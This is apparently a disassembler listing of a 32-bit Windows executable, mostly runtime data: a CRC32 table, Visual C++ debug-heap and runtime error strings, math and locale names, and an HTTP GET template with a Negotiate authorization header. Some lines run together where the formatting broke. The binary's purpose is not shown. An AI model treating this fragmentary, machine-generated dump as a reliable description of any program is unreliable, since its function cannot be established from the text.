; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-38h]
call sub_40BC0F
retn
; =============== S U B R O U T I N E =======================================
SEH_433270 proc near ; DATA XREF: sub_433270+5o
mov eax, offset dword_436408
jmp sub_418DE0
SEH_433270 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
call sub_433CB0
retn
; =============== S U B R O U T I N E =======================================
SEH_4332D0 proc near ; DATA XREF: sub_4332D0+5o
mov eax, offset dword_436430
jmp sub_418DE0
SEH_4332D0 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
call sub_433CB0
retn
; =============== S U B R O U T I N E =======================================
SEH_433390 proc near ; DATA XREF: sub_433390+5o
mov eax, offset dword_436478
jmp sub_418DE0
SEH_433390 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-14h]
call sub_433CB0
retn
; =============== S U B R O U T I N E =======================================
SEH_433450 proc near ; DATA XREF: sub_433450+5o
mov eax, offset dword_4364A0
jmp sub_418DE0
SEH_433450 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-38h]
call sub_40BC0F
retn
; =============== S U B R O U T I N E =======================================
SEH_433570 proc near ; DATA XREF: sub_433570+5o
mov eax, offset dword_436508
jmp sub_418DE0
SEH_433570 endp
; ---------------------------------------------------------------------------
align 4
dd 0Ch dup(0)
dd 476FAB24h, 0
dd 2, 70h, 0
dd 4CC00h, 0
dword_434020 dd 0 dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40B92D+68o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
dbl_434460 dq 1.388888888888889e-2 ; DATA XREF: sub_40B76A+2Fr
dbl_434468 dq 1.666666666666667e-1 ; DATA XREF: sub_40B76A+15r
dbl_434470 dq 1.333333333333333 ; DATA XREF: sub_40B7B6+70r
dword_434478 dd 2 dup(0) dbl_434480 dq 9.765625e-4 ; DATA XREF: sub_410C53+2B8r
; sub_410C53+2CDr ...
dbl_434488 dq -3.0517578125e-5 ; DATA XREF: sub_412243+2Br
dword_434490 dd 6F6C6366h, 632E6573h, 0 ; sub_414FD0+25o
dword_43449C dd 65727473h, 21206D61h, 554E203Dh, 4C4Ch ; sub_419FD0+Do ...
dword_4344AC dd 20727473h, 4E203D21h, 4C4C55h, 65696C43h, 746Eh, 6F6E6749h
; DATA XREF: sub_414FD0+1Co
; sub_4185F0+15o ...
dd 6572h, 545243h, 6D726F4Eh, 6C61h
aFree db 'Free',0 ; DATA XREF: .data:off_444E80o
align 10h
dword_4344E0 dd 0FFFFFFFFh, 0 dd offset sub_41516D
aErrorMemoryAll db 'Error: memory allocation: bad memory block type.',0Ah,0
; DATA XREF: sub_4151D0:loc_41533Ao
; sub_415640:loc_4157C0o
align 10h
aInvalidAllocat db 'Invalid allocation size: %u bytes.',0Ah,0 ; DATA XREF: sub_4151D0+11Bo
aS_20 db '%s',0 ; DATA XREF: sub_4151D0+BCo
; sub_4151D0+16Fo ...
align 4
aClientHookAl_0 db 'Client hook allocation failure.',0Ah,0
; DATA XREF: sub_4151D0:loc_415287o
align 4
aClientHookAllo db 'Client hook allocation failure at file %hs line %d.',0Ah,0
; DATA XREF: sub_4151D0+94o
align 4
aDbgheap_c db 'dbgheap.c',0 ; DATA XREF: sub_4151D0+31o
; sub_415640+77o ...
align 10h
a_crtcheckmemor db '_CrtCheckMemory()',0 ; DATA XREF: sub_4151D0+25o
; sub_415640+6Bo ...
align 8
dword_4345C8 dd 0FFFFFFFFh, 0 dd offset sub_415613
a_pfirstblockPo db '_pFirstBlock == pOldBlock',0 ; DATA XREF: sub_415640+499o
align 10h
a_plastblockPol db '_pLastBlock == pOldBlock',0 ; DATA XREF: sub_415640+445o
align 4
aFreallocFreall db 'fRealloc || (!fRealloc && pNewBlock == pOldBlock)',0
; DATA XREF: sub_415640:loc_415A26o
align 10h
a_block_typePol db '_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLOCK_TYPE(nBlockUse)',0
; DATA XREF: sub_415640+277o
align 4
aPoldblockNline db 'pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_'
; DATA XREF: sub_415640:loc_415851o
db 'REQ',0
align 4
a_crtisvalidhea db '_CrtIsValidHeapPointer(pUserData)',0 ; DATA XREF: sub_415640+1B6o
; sub_415CD0+A8o ...
align 4
aAllocationTooL db 'Allocation too large or negative: %u bytes.',0Ah,0
; DATA XREF: sub_415640+136o
align 4
aClientHookRe_0 db 'Client hook re-allocation failure.',0Ah,0
; DATA XREF: sub_415640:loc_41573Fo
aClientHookReAl db 'Client hook re-allocation failure at file %hs line %d.',0Ah,0
; DATA XREF: sub_415640+DCo
align 8
dword_434778 dd 0FFFFFFFFh, 0 dd offset sub_415BF3
align 8
dword_434788 dd 0FFFFFFFFh, 0 dd offset sub_415CB2
a_pfirstblockPh db '_pFirstBlock == pHead',0 ; DATA XREF: sub_415CD0+35Do
align 4
a_plastblockPhe db '_pLastBlock == pHead',0 ; DATA XREF: sub_415CD0+307o
align 4
aPheadNblockuse db 'pHead->nBlockUse == nBlockUse',0 ; DATA XREF: sub_415CD0+29Co
; sub_4160E0+133o
align 4
aPheadNlineIgno db 'pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ',0
; DATA XREF: sub_415CD0:loc_415EF4o
align 4
aDamageAfterHsB db 'DAMAGE: after %hs block (#%d) at 0x%08X.',0Ah,0
; DATA XREF: sub_415CD0+1E5o
; sub_416420+265o
align 10h
aDamageBeforeHs db 'DAMAGE: before %hs block (#%d) at 0x%08X.',0Ah,0
; DATA XREF: sub_415CD0+17Fo
; sub_416420+208o
align 4
a_block_type_is db '_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)',0 ; DATA XREF: sub_415CD0+10Ao
; sub_4160E0+E2o ...
align 4
aClientHookFree db 'Client hook free failure.',0Ah,0 ; DATA XREF: sub_415CD0:loc_415D3Do
align 10h
dword_4348C0 dd 0FFFFFFFFh, 0 dd offset sub_416251
align 10h
dword_4348D0 dd 0FFFFFFFFh, 0 dd offset sub_41634D
aMemoryCheckErr db 'memory check error at 0x%08X = 0x%02X, should be 0x%02X.',0Ah,0
; DATA XREF: sub_416390+54o
align 4
aHsLocatedAt0x0 db '%hs located at 0x%08X is %u bytes long.',0Ah,0
; DATA XREF: sub_416420+33Ao
align 4
aHsAllocatedAtF db '%hs allocated at file %hs(%d).',0Ah,0 ; DATA XREF: sub_416420+307o
aDamageOnTopOfF db 'DAMAGE: on top of Free block at 0x%08X.',0Ah,0
; DATA XREF: sub_416420+2BEo
align 10h
aDamaged db 'DAMAGED',0 ; DATA XREF: sub_416420:loc_4165F4o
a_heapchkFail_3 db '_heapchk fails with unknown return value!',0Ah,0
; DATA XREF: sub_416420:loc_41654Co
align 4
a_heapchkFail_2 db '_heapchk fails with _HEAPBADPTR.',0Ah,0
; DATA XREF: sub_416420:loc_416524o
align 4
a_heapchkFail_1 db '_heapchk fails with _HEAPBADEND.',0Ah,0
; DATA XREF: sub_416420:loc_4164FCo
align 4
a_heapchkFail_0 db '_heapchk fails with _HEAPBADNODE.',0Ah,0
; DATA XREF: sub_416420:loc_4164D4o
align 10h
a_heapchkFailsW db '_heapchk fails with _HEAPBADBEGIN.',0Ah,0
; DATA XREF: sub_416420:loc_4164A9o
align 8
dword_434A58 dd 0FFFFFFFFh, 0 dd offset sub_416795
align 8
dword_434A68 dd 0FFFFFFFFh, 0 dd offset sub_41688D
align 8
dword_434A78 dd 0FFFFFFFFh, 0 dd offset sub_416B36
aBadMemoryBlock db 'Bad memory block found at 0x%08X.',0Ah,0 ; DATA XREF: sub_416B80+13Co
align 4
a_crtmemcheckpo db '_CrtMemCheckPoint: NULL state pointer.',0Ah,0
; DATA XREF: sub_416B80:loc_416BA9o
dword_434AD0 dd 0FFFFFFFFh, 0 dd offset sub_416D08
a_crtmemdiffere db '_CrtMemDifference: NULL state pointer.',0Ah,0
; DATA XREF: .data:loc_416D52o
aObjectDumpComp db 'Object dump complete.',0Ah,0 ; DATA XREF: sub_416E60:loc_41711Co
align 4
aCrtBlockAt0x08 db 'crt block at 0x%08X, subtype %x, %u bytes long.',0Ah,0
; DATA XREF: sub_416E60+271o
align 10h
aNormalBlockAt0 db 'normal block at 0x%08X, %u bytes long.',0Ah,0
; DATA XREF: sub_416E60+214o
aClientBlockAt0 db 'client block at 0x%08X, subtype %x, %u bytes long.',0Ah,0
; DATA XREF: sub_416E60+1A9o
aLd db '{%ld} ',0 ; DATA XREF: sub_416E60+15Ao
align 4
aHsD db '%hs(%d) : ',0 ; DATA XREF: sub_416E60+132o
align 10h
aFileErrorD db '#File Error#(%d) : ',0 ; DATA XREF: sub_416E60+101o
aDumpingObjects db 'Dumping objects ->',0Ah,0 ; DATA XREF: sub_416E60:loc_416E9Bo
dword_434BE8 dd 0FFFFFFFFh, 0 dd offset sub_417111
aDataSS db ' Data: <%s> %s',0Ah,0 ; DATA XREF: sub_417160+ECo
a_2x db '%.2X ',0 ; DATA XREF: sub_417160+BFo
align 4
aDetectedMemory db 'Detected memory leaks!',0Ah,0 ; DATA XREF: sub_417280:loc_4172B4o
aTotalAllocatio db 'Total allocations: %ld bytes.',0Ah,0 ; DATA XREF: .data:0041739Do
align 4
aLargestNumberU db 'Largest number used: %ld bytes.',0Ah,0 ; DATA XREF: .data:00417375o
align 4
aLdBytesInLdHsB db '%ld bytes in %ld %hs Blocks.',0Ah,0 ; DATA XREF: .data:0041734Bo
align 4
aMode_t0 db '*mode != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_4175E0+95o
align 4
aModeNull db 'mode != NULL',0 ; DATA XREF: sub_4175E0+67o
; sub_4201D0+4Fo
align 4
aFile_t0 db '*file != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_4175E0+3Do
align 10h
aFopen_c db 'fopen.c',0 ; DATA XREF: sub_4175E0+18o
; sub_4175E0+46o ...
aFileNull db 'file != NULL',0 ; DATA XREF: sub_4175E0+Fo
align 4
aFormatNull db 'format != NULL',0 ; DATA XREF: sub_417CB0+45o
; sub_417E80+45o ...
align 4
aSprintf_c db 'sprintf.c',0 ; DATA XREF: sub_417CB0+24o
; sub_417CB0+4Eo ...
align 4
aStringNull db 'string != NULL',0 ; DATA XREF: sub_417CB0+1Bo
; sub_417E80+1Bo ...
align 4
aFprintf_c db 'fprintf.c',0 ; DATA XREF: sub_4185F0+1Eo
; sub_4185F0+48o
align 10h
aFgets_c db 'fgets.c',0 ; DATA XREF: sub_4186C0+24o
; sub_4186C0+4Eo
aVsprintf_c db 'vsprintf.c',0 ; DATA XREF: sub_418C10+1Eo
; sub_418C10+48o
align 4
aSscanf_c db 'sscanf.c',0 ; DATA XREF: sub_419670+24o
; sub_419670+4Eo
align 10h
dbl_434D30 dq 1.0 ; DATA XREF: sub_419730+99r
; sub_419950+99r ...
dword_434D38 dd 64676264h, 632E6C65h, 7070hdword_434D44 dd 78656E6Fh, 632E7469h, 0 ; sub_419F80+8o
dword_434D50 dd 65657366h, 632E6Bh ; sub_41A040+19o
dword_434D58 dd 7473626Dh, 7363776Fh, 632Ehdword_434D64 dd 3D212073h, 4C554E20h, 4Chdword_434D70 dd 0FFFFFFFFh, 41AC32h, 41AC4Dhdword_434D7C dd 6C69665Fh, 632E65h, 65737341h, 6F697472h, 6146206Eh
; DATA XREF: sub_41ACD0+31o
; sub_41ACD0+65o ...
dd 64656C69h, 0
aError db 'Error',0 ; DATA XREF: .data:00445178o
align 10h
aWarning db 'Warning',0 ; DATA XREF: .data:off_445174o
aSDS db '%s(%d) : %s',0 ; DATA XREF: sub_41B010+1FFo
asc_434DB4: ; DATA XREF: sub_41B010:loc_41B1E6o
dw 0Ah
unicode 0, <>,0
asc_434DB8: ; DATA XREF: sub_41B010+1C2o
dw 0Dh
unicode 0, <>,0
aAssertionFai_0 db 'Assertion failed!',0 ; DATA XREF: sub_41B010:loc_41B185o
align 10h
aAssertionFaile db 'Assertion failed: ',0 ; DATA XREF: sub_41B010+169o
align 4
a_crtdbgreportS db '_CrtDbgReport: String too long or IO Error',0
; DATA XREF: sub_41B010+149o
; sub_41B010+21Co ...
align 10h
aSecondChanceAs db 'Second Chance Assertion Failed: File %s, Line %d',0Ah,0
; DATA XREF: sub_41B010+E6o
align 4
aWsprintfa db 'wsprintfA',0 ; DATA XREF: sub_41B010+B6o
align 10h
aUser32_dll_0 db 'user32.dll',0 ; DATA XREF: sub_41B010+9Co
; sub_4293F0+16o
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Debug Library',0 ; DATA XREF: sub_41B3A0+2C2o
align 10h
aDebugSProgramS db 'Debug %s!',0Ah ; DATA XREF: sub_41B3A0+28Co
db 0Ah
db 'Program: %s%s%s%s%s%s%s%s%s%s%s',0Ah
db 0Ah
db '(Press Retry to debug the application)',0
align 4
aModule db 0Ah ; DATA XREF: sub_41B3A0+221o
db 'Module: ',0
align 10h
aFile db 0Ah ; DATA XREF: sub_41B3A0+1E1o
db 'File: ',0
aLine db 0Ah ; DATA XREF: sub_41B3A0+1AAo
db 'Line: ',0
asc_434EF0 db 0Ah ; DATA XREF: sub_41B3A0+173o
; sub_428880+171o
db 0Ah,0
align 4
aExpression db 'Expression: ',0 ; DATA XREF: sub_41B3A0+153o
align 4
dword_434F04 dd 0 ; sub_41B3A0:loc_41B4D9o ...
aForInformation db 0Ah ; DATA XREF: sub_41B3A0+10Eo
db 0Ah
db 'For information on how your program can cause an assertion',0Ah
db 'failure, see the Visual C++ documentation on asserts.',0
align 4
a___ db '...',0 ; DATA XREF: sub_41B3A0+9Co
; sub_41B3A0+F4o ...
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41B3A0+56o
; sub_428880+EDo
align 4
aDbgrpt_c db 'dbgrpt.c',0 ; DATA XREF: sub_41B3A0+1Fo
align 4
aSzusermessageN db 'szUserMessage != NULL',0 ; DATA XREF: sub_41B3A0+13o
align 4
a_freebuf_c db '_freebuf.c',0 ; DATA XREF: sub_41B7E0+15o
align 4
aMlock_c db 'mlock.c',0 ; DATA XREF: sub_41BC80+16o
dword_434FD0 dd 0FFFFFFFFh, 0 dd offset sub_41BF25
dd 0FFFFFFFFh, 0
dd offset sub_41BFA7
dword_434FE8 dd 0FFFFFFFFh, 0 dd offset sub_41C0C1
dd 0FFFFFFFFh, 0
dd offset sub_41C1BA
dword_435000 dd 0FFFFFFFFh, 0; ---------------------------------------------------------------------------
clc
retn
; ---------------------------------------------------------------------------
dw 41h
dd 0FFFFFFFFh, 0
dd offset sub_41C60F
dword_435018 dd 0FFFFFFFFh, 0 dd offset sub_41C74B
dd 0FFFFFFFFh, 0
dd offset sub_41C7CD
dword_435030 dd 0FFFFFFFFh, 0 dd offset sub_41C882
dd 0FFFFFFFFh, 0
dd offset sub_41C8C7
a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_41F690+B9o
align 10h
a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_41F690+5Ao
align 4
a_filbuf_c db '_filbuf.c',0 ; DATA XREF: sub_41FB00+18o
align 4
a_open_c db '_open.c',0 ; DATA XREF: sub_4201D0+2Eo
; sub_4201D0+58o ...
aFilenameNull db 'filename != NULL',0 ; DATA XREF: sub_4201D0+25o
align 10h
aStream_c db 'stream.c',0 ; DATA XREF: sub_420560+C1o
align 4
aInconsistentIo db '("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)',0
; DATA XREF: sub_420720+162o
align 4
a_flsbuf_c db '_flsbuf.c',0 ; DATA XREF: sub_420720+18o
; sub_420720+16Eo
align 4
byte_4350F8 db 6 ; DATA XREF: sub_4209A0+8Fr
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull_0: ; DATA XREF: .data:off_447494o
unicode 0, <(null)>,0
align 4
aNull_1 db '(null)',0 ; DATA XREF: .data:off_447490o
align 4
aOutput_c db 'output.c',0 ; DATA XREF: sub_4209A0+122o
align 4
aCh_t0 db 'ch != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_4209A0+116o
align 4
aTidtable_c db 'tidtable.c',0 ; DATA XREF: sub_421840+23o
; sub_421920+29o
align 4
a_sftbuf_c db '_sftbuf.c',0 ; DATA XREF: sub_4226D0+18o
; sub_4226D0+B2o ...
align 10h
aFlag0Flag1 db 'flag == 0 || flag == 1',0 ; DATA XREF: sub_422830+13o
align 4
dword_4351B8 dd 0FFFFFFFFh, 422ED9h, 422EE6h, 0dword_4351C8 dd 0FFFFFFFFh, 0 dd offset sub_42310D
align 8
dd offset loc_4230CE
dd offset loc_4230DB
dword_4351E0 dd 0FFFFFFFFh, 42342Ch, 423432h, 0dword_4351F0 dd 0FFFFFFFFh, 4234AEh, 4234BDh, 0dword_435200 dd 0FFFFFFFFh, 0 dd offset sub_4235EE
align 10h
dd offset loc_4235D0
dd offset loc_4235D6
dword_435218 dd 0FFFFFFFFh, 0 dd offset sub_42369A
align 8
dd offset loc_42367C
dd offset loc_423682
dword_435230 dd 75706E69h, 632E74h, 6E795Fh, 31795Fh, 30795Fh, 78657266h
; DATA XREF: sub_4236C0+1Eo
; sub_4236C0+4Bo
dd 70h, 646F6D66h, 0
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 10h
aAtan2 db 'atan2',0
align 4
aAtan db 'atan',0
align 10h
aAcos db 'acos',0
align 4
aAsin db 'asin',0
align 10h
aTanh db 'tanh',0
align 4
aCosh db 'cosh',0
align 10h
aSinh db 'sinh',0
align 4
aLog10 db 'log10',0
align 10h
aLog_0 db 'log',0
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: .data:off_447724o
align 10h
dbl_4352F0 dq 0.0 ; DATA XREF: sub_425310+D7r
; sub_425310+11Ar ...
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_425C60+1Ao
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_425C60+6o
align 10h
aE000 db 'e+000',0 ; DATA XREF: sub_425F40:loc_425FB8o
align 4
aFtell_c db 'ftell.c',0 ; DATA XREF: .data:00426546o
; sub_4265A0+18o
aLc_time db 'LC_TIME',0 ; DATA XREF: .data:0044799Co
aLc_numeric db 'LC_NUMERIC',0 ; DATA XREF: .data:00447990o
align 4
aLc_monetary db 'LC_MONETARY',0 ; DATA XREF: .data:00447DA8o
aLc_ctype db 'LC_CTYPE',0 ; DATA XREF: .data:00447978o
align 4
aLc_collate db 'LC_COLLATE',0 ; DATA XREF: .data:0044796Co
align 4
aLc_all db 'LC_ALL',0 ; DATA XREF: .data:off_447960o
align 10h
asc_435370: ; DATA XREF: .data:loc_426D03o
; sub_4270E0+83o
unicode 0, <;>,0
asc_435374 db '=;',0 ; DATA XREF: .data:loc_426C31o
align 4
aSetlocal_c db 'setlocal.c',0 ; DATA XREF: sub_426F40+3Eo
; sub_4270E0+1Bo
align 4
asc_435384: ; DATA XREF: sub_4270E0+5Bo
unicode 0, <=>,0
a___0 db '_.,',0 ; DATA XREF: sub_4273D0:loc_427442o
a__1: ; DATA XREF: sub_427530+50o
; sub_42C6F0:loc_42C8EBo
unicode 0, <.>,0
a__2: ; DATA XREF: sub_427530+25o
unicode 0, <_>,0
dword_435394 dd 0 ; sub_429B60+58o ...
dword_435398 dd 2 dup(0) ; sub_429B60+35o ...
dword_4353A0 dd 0FFFFFFFFh, 4276E6h, 4276ECh, 0FFFFFFFFh, 4277DCh, 4277E2h
; DATA XREF: sub_4275A0+5o
dword_4353B8 dd 65647473h, 2E70766Eh, 63h ; sub_427BE0+D0o
dword_4353C4 dd 61647473h, 2E766772h, 63hdword_4353D0 dd 6E655F61h, 632E76h ; sub_428240+1C6o
dword_4353D8 dd 6E696F69h, 632E7469h, 0 ; sub_428460+106o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 0A0Dh, 534F4C54h
dd 72652053h, 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh
dd 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 4
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 10h
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 4
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 10h
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 10h
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 10h
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 10h
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 4
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_447A5Co
db '- floating point not loaded',0Dh,0Ah,0
align 10h
aMicrosoftVis_0 db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_428880+1A4o
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_428880:loc_4289CAo
db 0Ah
db 'Program: ',0
align 4
aWinsig_c db 'winsig.c',0 ; DATA XREF: .data:00428FA1o
align 10h
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_4293F0+5Fo
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_4293F0:loc_42943Bo
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_4293F0+2Ao
aOsfinfo_c db 'osfinfo.c',0 ; DATA XREF: sub_4294B0+138o
align 10h
dword_435700 dd 0FFFFFFFFh, 429CA4h, 429CAAhdword_43570C dd 7465675Fh, 2E667562h, 63h ; sub_429D20+48o
dword_435718 dd 6F74626Dh, 632E6377h, 0aMb_cur_max1Mb_ db 'MB_CUR_MAX == 1 || MB_CUR_MAX == 2',0 ; DATA XREF: sub_42A6C0+18o
align 4
aUngetc_c db 'ungetc.c',0 ; DATA XREF: .data:0042AC46o
; sub_42ACA0+16o
align 4
aInittime_c db 'inittime.c',0 ; DATA XREF: sub_42BD70+13o
align 10h
aInitnum_c db 'initnum.c',0 ; DATA XREF: sub_42C6F0+1CFo
; sub_42C6F0+215o ...
align 4
aInitmon_c db 'initmon.c',0 ; DATA XREF: .data:0042CA33o
align 4
aInitctyp_c db 'initctyp.c',0 ; DATA XREF: .data:0042CED2o
; .data:0042CEEBo ...
align 4
aParaguay db 'Paraguay',0
align 10h
aUruguay db 'Uruguay',0
aChile db 'Chile',0 ; DATA XREF: .data:00447F64o
align 10h
aEcuador db 'Ecuador',0 ; DATA XREF: .data:00447F38o
aArgentina db 'Argentina',0
align 4
aPeru db 'Peru',0
align 4
aColombia db 'Colombia',0 ; DATA XREF: .data:00447EB4o
align 4
aVenezuela db 'Venezuela',0
align 4
aDominicanRepub db 'Dominican Republic',0 ; DATA XREF: .data:00447E5Co
align 4
aSouthAfrica db 'South Africa',0
align 4
aPanama db 'Panama',0 ; DATA XREF: .data:00447E04o
align 10h
aLuxembourg db 'Luxembourg',0 ; DATA XREF: .data:00447DD8o
align 4
aCostaRica db 'Costa Rica',0 ; DATA XREF: .data:00447DACo
align 4
aSwitzerland db 'Switzerland',0
aGuatemala db 'Guatemala',0 ; DATA XREF: .data:00447D54o
align 10h
aCanada db 'Canada',0 ; DATA XREF: .data:00447D28o
align 4
aSpanishModernS db 'Spanish - Modern Sort',0 ; DATA XREF: .data:00447CF4o
align 10h
